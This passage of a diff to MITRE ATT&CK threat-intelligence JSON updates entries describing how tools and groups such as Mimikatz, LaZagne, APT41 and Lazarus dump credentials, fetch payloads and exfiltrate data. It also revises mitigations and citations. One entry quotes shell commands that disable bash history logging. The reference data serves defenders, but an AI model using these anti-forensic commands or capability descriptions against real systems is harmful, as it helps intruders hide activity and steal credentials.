Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "id": "relationship--0209cfd7-95d3-4bc5-8f0e-72a70b245fe9", "type": "relationship", - "modified": "2020-03-19T23:37:02.583Z", + "modified": "2021-01-25T15:43:46.030Z", "created": "2020-03-19T23:37:02.583Z" }, { @@ -180066,16 +181527,16 @@ "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the SAM table.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "id": "relationship--7f04a14f-ab65-4ad5-9d67-a4b509ba8087", "type": "relationship", - "modified": "2020-03-19T23:37:02.591Z", + "modified": "2021-01-25T15:43:46.037Z", "created": "2020-03-19T23:37:02.591Z" }, { @@ -180102,16 +181563,16 @@ "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "id": "relationship--f5e29f3a-99b1-4c45-952b-c238f72435ab", "type": "relationship", - "modified": "2020-03-19T23:37:02.596Z", + "modified": "2021-01-25T15:43:46.048Z", "created": "2020-03-19T23:37:02.596Z" }, { @@ -180175,21 +181636,26 @@ "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "external_references": [ { - "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + "source_name": "Unit 42 MuddyWater Nov 2017" }, { - "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", - "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018." + "source_name": "Symantec MuddyWater Dec 2018" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349) and other tools, including by dumping passwords saved in victim email.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349) and other tools, including by dumping passwords saved in victim email.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "id": "relationship--9dfb0ad2-5456-492a-bb74-a288ce8f7f7c", "type": "relationship", - "modified": "2020-03-25T18:42:08.428Z", + "modified": "2021-03-19T13:38:13.139Z", "created": "2020-03-19T23:45:03.225Z" }, { @@ -180334,11 +181800,11 @@ "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019." } ], - "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019) [OilRig](https://attack.mitre.org/groups/G0049) has also used tools named VALUEVAULT and PICKPOCKET to dump passwords from web browsers.(Citation: FireEye APT34 July 2019)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019) [OilRig](https://attack.mitre.org/groups/G0049) has also used tool named PICKPOCKET to dump passwords from web browsers.(Citation: FireEye APT34 July 2019)", "relationship_type": "uses", "id": "relationship--dafc7834-fbb5-426c-adce-957742078002", "type": "relationship", - "modified": "2020-03-19T23:50:06.593Z", + "modified": "2020-11-23T17:35:43.923Z", "created": "2020-03-19T23:50:06.593Z" }, { @@ -180436,7 +181902,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", - "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "external_references": [ { "source_name": "GitHub PowerSploit May 2012", @@ -180453,7 +181919,7 @@ "relationship_type": "uses", "id": "relationship--da4e4583-7382-4a38-a922-9b5f6c61b8a7", "type": "relationship", - "modified": "2020-03-20T00:00:19.107Z", + "modified": "2020-11-23T17:52:11.446Z", "created": "2020-03-20T00:00:19.107Z" }, { @@ -180588,7 +182054,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", - "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "external_references": [ { "source_name": "Talos Group123", @@ -180600,7 +182066,7 @@ "relationship_type": "uses", "id": "relationship--6f3b9887-80cb-4b36-b228-91e360d83962", "type": "relationship", - "modified": "2020-03-20T00:16:34.888Z", + "modified": "2020-11-23T17:48:46.409Z", "created": "2020-03-20T00:16:34.888Z" }, { @@ -180768,7 +182234,7 @@ "source_name": "Novetta Blockbuster Destructive Malware" }, { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -180792,7 +182258,7 @@ "relationship_type": "uses", "id": "relationship--032981a6-3299-4852-bd9c-c691f866bec5", "type": "relationship", - "modified": "2020-09-22T16:26:53.405Z", + "modified": "2020-12-11T17:47:23.082Z", "created": "2020-03-20T02:33:03.035Z" }, { @@ -181547,7 +183013,7 @@ "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", "id": "relationship--116ba54b-b2b3-4e63-9f5b-c5171dde0863", "type": "relationship", - "modified": "2020-03-24T23:46:20.553Z", + "modified": "2021-04-27T19:58:02.104Z", "created": "2020-03-24T23:35:28.074Z" }, { @@ -181748,7 +183214,7 @@ "description": "Ensure Domain Controller backups are properly secured.", "id": "relationship--3e3f06c4-3105-4d07-b876-702005e9b59a", "type": "relationship", - "modified": "2020-06-09T20:44:40.885Z", + "modified": "2021-02-09T14:15:25.686Z", "created": "2020-03-25T16:25:17.386Z" }, { @@ -181765,11 +183231,11 @@ "source_name": "objsee mac malware 2017" } ], - "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password and keychains.(Citation: objsee mac malware 2017)", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for keychains.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "id": "relationship--6209bf2d-6ffd-4740-96cb-ef04379ae126", "type": "relationship", - "modified": "2020-03-25T18:03:46.017Z", + "modified": "2021-01-22T16:19:13.134Z", "created": "2020-03-25T18:03:46.017Z" }, { @@ -181783,7 +183249,7 @@ "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", "id": "relationship--246e4d06-8646-4f9a-8d7c-1efd98fd11c1", "type": "relationship", - "modified": "2020-10-12T21:38:13.217Z", + "modified": "2021-03-16T12:53:42.568Z", "created": "2020-03-25T18:30:50.103Z" }, { @@ -181804,7 +183270,7 @@ } ], "type": "relationship", - "modified": "2020-10-12T21:38:13.248Z", + "modified": "2021-03-16T12:53:42.570Z", "created": "2020-03-25T18:30:50.106Z" }, { @@ -181818,7 +183284,7 @@ "description": "If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.", "id": "relationship--e30864c0-df50-403b-9ad0-ef744a5d7449", "type": "relationship", - "modified": "2020-10-12T21:38:13.251Z", + "modified": "2021-03-16T12:53:42.567Z", "created": "2020-03-25T18:30:50.108Z" }, { @@ -181832,7 +183298,7 @@ "description": "Use strong passphrases for private keys to make cracking difficult. Do not store credentials within the Registry. Establish an organizational policy that prohibits password storage in files.", "id": "relationship--529b0951-548c-4316-93d1-baf97d89f10a", "type": "relationship", - "modified": "2020-10-12T21:38:13.246Z", + "modified": "2021-03-16T12:53:42.557Z", "created": "2020-03-25T18:30:50.113Z" }, { @@ -181846,7 +183312,7 @@ "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", "id": "relationship--5401a61d-a795-4619-aa7e-fdf54cd4358e", "type": "relationship", - "modified": "2020-10-12T21:38:13.272Z", + "modified": "2021-03-16T12:53:42.562Z", "created": "2020-03-25T18:30:50.111Z" }, { @@ -181860,7 +183326,7 @@ "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ", "id": "relationship--069ff8f0-889c-4463-bf5d-618bf5e457ee", "type": "relationship", - "modified": "2020-10-12T21:38:13.270Z", + "modified": "2021-03-16T12:53:42.570Z", "created": "2020-03-25T18:30:50.135Z" }, { @@ -181942,7 +183408,7 @@ } ], "type": "relationship", - "modified": "2020-06-20T21:53:08.374Z", + "modified": "2021-04-26T18:32:59.710Z", "created": "2020-03-26T15:53:25.125Z" }, { @@ -181956,7 +183422,7 @@ "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.", "id": "relationship--6fa01dcb-e06c-4f8b-b6a2-c301f0198df4", "type": "relationship", - "modified": "2020-06-20T21:53:08.371Z", + "modified": "2021-04-26T18:32:59.703Z", "created": "2020-03-26T15:53:25.140Z" }, { @@ -181992,7 +183458,7 @@ } ], "type": "relationship", - "modified": "2020-06-20T21:53:08.417Z", + "modified": "2021-04-26T18:32:59.815Z", "created": "2020-03-26T15:53:25.148Z" }, { @@ -182006,7 +183472,7 @@ "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", "id": "relationship--62c9a1c7-557e-433b-b422-3427a308f34e", "type": "relationship", - "modified": "2020-06-20T21:53:08.422Z", + "modified": "2021-04-26T18:32:59.819Z", "created": "2020-03-26T16:17:09.647Z" }, { @@ -182020,7 +183486,7 @@ "description": "Install software in write-protected locations. Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard library folders.", "id": "relationship--7253ab74-8fbb-422b-bf37-258981865b87", "type": "relationship", - "modified": "2020-06-20T21:53:08.420Z", + "modified": "2021-04-26T18:32:59.813Z", "created": "2020-03-26T16:17:09.665Z" }, { @@ -182034,7 +183500,7 @@ "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.", "id": "relationship--0fc95a6b-296f-41ab-8663-aea4a80afe0a", "type": "relationship", - "modified": "2020-09-16T16:49:47.902Z", + "modified": "2021-04-27T19:55:18.775Z", "created": "2020-03-26T18:45:03.794Z" }, { @@ -182055,7 +183521,7 @@ } ], "type": "relationship", - "modified": "2020-06-20T21:53:08.415Z", + "modified": "2021-04-26T18:32:59.822Z", "created": "2020-03-26T19:30:46.421Z" }, { @@ -182069,7 +183535,7 @@ "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.\n\nEnsure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.", "id": "relationship--523ef32d-7463-4774-a473-fcccb5b0dadd", "type": "relationship", - "modified": "2020-06-20T21:53:08.496Z", + "modified": "2021-04-26T18:32:59.879Z", "created": "2020-03-26T19:33:32.779Z" }, { @@ -182083,7 +183549,7 @@ "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", "id": "relationship--85422378-e9d7-4bd2-8b57-73fba0641448", "type": "relationship", - "modified": "2020-06-20T21:53:08.492Z", + "modified": "2021-04-26T18:32:59.892Z", "created": "2020-03-26T19:40:38.563Z" }, { @@ -182284,7 +183750,7 @@ } ], "type": "relationship", - "modified": "2020-10-12T21:38:13.283Z", + "modified": "2021-03-16T12:53:42.566Z", "created": "2020-03-27T19:50:02.358Z" }, { @@ -182426,9 +183892,9 @@ "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, { "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", @@ -182440,7 +183906,7 @@ "relationship_type": "uses", "id": "relationship--0b255cef-7177-48b8-ade1-752314f90b7e", "type": "relationship", - "modified": "2020-03-27T21:01:19.133Z", + "modified": "2020-12-11T17:47:23.117Z", "created": "2020-03-27T21:01:19.133Z" }, { @@ -182605,7 +184071,7 @@ "description": "MSBuild.exe may not be necessary within an environment and should be removed if not being used.", "id": "relationship--a6c274f5-43e1-4f69-a182-0c4ab9d0a5ed", "type": "relationship", - "modified": "2020-06-08T23:29:28.275Z", + "modified": "2021-03-05T22:25:49.021Z", "created": "2020-03-27T21:50:26.217Z" }, { @@ -182630,16 +184096,16 @@ "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use built-in modules to abuse trusted utilities like MSBuild.exe.(Citation: Github PowerShell Empire)\n", "relationship_type": "uses", "id": "relationship--8e21def7-2c70-47f8-90f5-0238048ae15f", "type": "relationship", - "modified": "2020-03-27T21:53:01.439Z", + "modified": "2021-04-09T14:47:00.146Z", "created": "2020-03-27T21:53:01.439Z" }, { @@ -182946,7 +184412,7 @@ "description": "Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.", "id": "relationship--b61fb6ca-82b8-4928-8f1b-7a48645bd888", "type": "relationship", - "modified": "2020-10-21T16:38:28.253Z", + "modified": "2021-04-14T12:04:36.678Z", "created": "2020-03-29T20:34:24.708Z" }, { @@ -182960,7 +184426,7 @@ "description": "Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.", "id": "relationship--a69c1383-0afc-40d5-879c-fda561aff983", "type": "relationship", - "modified": "2020-09-16T15:38:40.917Z", + "modified": "2021-04-06T12:31:06.895Z", "created": "2020-03-29T20:35:36.808Z" }, { @@ -182988,7 +184454,7 @@ "description": "Ensure proper Registry permissions are in place to prevent adversaries from disabling or interfering with security services.", "id": "relationship--a66c8397-99c0-494c-9cbe-4055e0b2f6a1", "type": "relationship", - "modified": "2020-03-29T21:52:43.303Z", + "modified": "2021-04-19T13:41:17.900Z", "created": "2020-03-29T21:52:43.303Z" }, { @@ -183095,16 +184561,16 @@ "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" } ], "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)", "relationship_type": "uses", "id": "relationship--f60afd0d-68d1-4b71-bb07-b943e9542b2d", "type": "relationship", - "modified": "2020-03-30T02:26:59.962Z", + "modified": "2020-12-11T17:47:23.113Z", "created": "2020-03-30T02:26:59.962Z" }, { @@ -183636,7 +185102,7 @@ "description": "Routinely monitor user permissions to ensure only the expected users have the capability to modify cloud compute infrastructure components.", "id": "relationship--91c4630e-772b-4dac-8e58-5a899ccdc2be", "type": "relationship", - "modified": "2020-09-14T19:54:58.801Z", + "modified": "2021-04-20T14:51:02.177Z", "created": "2020-04-27T14:14:05.600Z" }, { @@ -183693,13 +185159,18 @@ "source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020." + }, + { + "source_name": "Talos PoetRAT October 2020", + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021." } ], - "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used Word documents with VBScripts to execute malicious activities.(Citation: Talos PoetRAT April 2020)", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used Word documents with VBScripts to execute malicious activities.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)", "relationship_type": "uses", "id": "relationship--b078c987-40be-459f-9045-4b2b92cc145b", "type": "relationship", - "modified": "2020-04-27T21:02:32.971Z", + "modified": "2021-04-12T12:44:34.345Z", "created": "2020-04-27T21:02:32.971Z" }, { @@ -183798,13 +185269,18 @@ "source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020." + }, + { + "source_name": "Dragos Threat Report 2020", + "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770", + "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021." } ], - "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to take screen captures.(Citation: Talos PoetRAT April 2020)", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to take screen captures.(Citation: Talos PoetRAT April 2020)(Citation: Dragos Threat Report 2020)", "relationship_type": "uses", "id": "relationship--d9338b91-b07b-4ea1-9e2f-4fe06e58ce62", "type": "relationship", - "modified": "2020-04-28T12:47:25.887Z", + "modified": "2021-04-12T12:44:34.322Z", "created": "2020-04-28T12:47:25.887Z" }, { @@ -183840,13 +185316,18 @@ "source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020." + }, + { + "source_name": "Talos PoetRAT October 2020", + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021." } ], - "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to copy files and download/upload files into command and control channels (C2) using [FTP](https://attack.mitre.org/software/S0095).(Citation: Talos PoetRAT April 2020)", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to copy files and download/upload files into C2 channels using FTP and HTTPS.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)", "relationship_type": "uses", "id": "relationship--3337112a-0b29-450f-9183-a0ec428c4898", "type": "relationship", - "modified": "2020-04-29T18:44:05.149Z", + "modified": "2021-04-12T12:44:34.347Z", "created": "2020-04-28T12:47:25.938Z" }, { @@ -183945,13 +185426,18 @@ "source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020." + }, + { + "source_name": "Talos PoetRAT October 2020", + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021." } ], - "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a custom encryption scheme for communication between scripts.(Citation: Talos PoetRAT April 2020)", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a custom encryption scheme for communication between scripts and pyminifier to obfuscate scripts.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)", "relationship_type": "uses", "id": "relationship--e159049f-70c1-4349-b299-c1d99d06901d", "type": "relationship", - "modified": "2020-04-28T12:47:25.933Z", + "modified": "2021-04-12T12:44:34.371Z", "created": "2020-04-28T12:47:25.933Z" }, { @@ -184092,13 +185578,18 @@ "source_name": "FireEye APT41 March 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[APT41](https://attack.mitre.org/groups/G0096) used [certutil](https://attack.mitre.org/software/S0160) to download additional files.(Citation: FireEye APT41 March 2020)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used [certutil](https://attack.mitre.org/software/S0160) to download additional files.(Citation: FireEye APT41 March 2020)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--b42c23c9-99f4-4b1f-91e2-a945a119fe98", "type": "relationship", - "modified": "2020-04-28T13:48:00.518Z", + "modified": "2020-12-22T17:48:21.443Z", "created": "2020-04-28T13:48:00.518Z" }, { @@ -184134,13 +185625,18 @@ "source_name": "FireEye APT41 March 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[APT41](https://attack.mitre.org/groups/G0096) used [BITSAdmin](https://attack.mitre.org/software/S0190) to download and install payloads.(Citation: FireEye APT41 March 2020)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used [BITSAdmin](https://attack.mitre.org/software/S0190) to download and install payloads.(Citation: FireEye APT41 March 2020)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--d316289b-26fa-49d7-8ed0-3fa56cc858b7", "type": "relationship", - "modified": "2020-04-28T14:51:08.681Z", + "modified": "2020-12-22T17:48:21.444Z", "created": "2020-04-28T13:48:00.555Z" }, { @@ -184206,27 +185702,6 @@ "modified": "2020-04-28T13:48:00.924Z", "created": "2020-04-28T13:48:00.924Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "source_name": "FireEye APT41 March 2020", - "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "description": "Glyer, C, et al. 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(2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." } ], - "description": "(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018)", 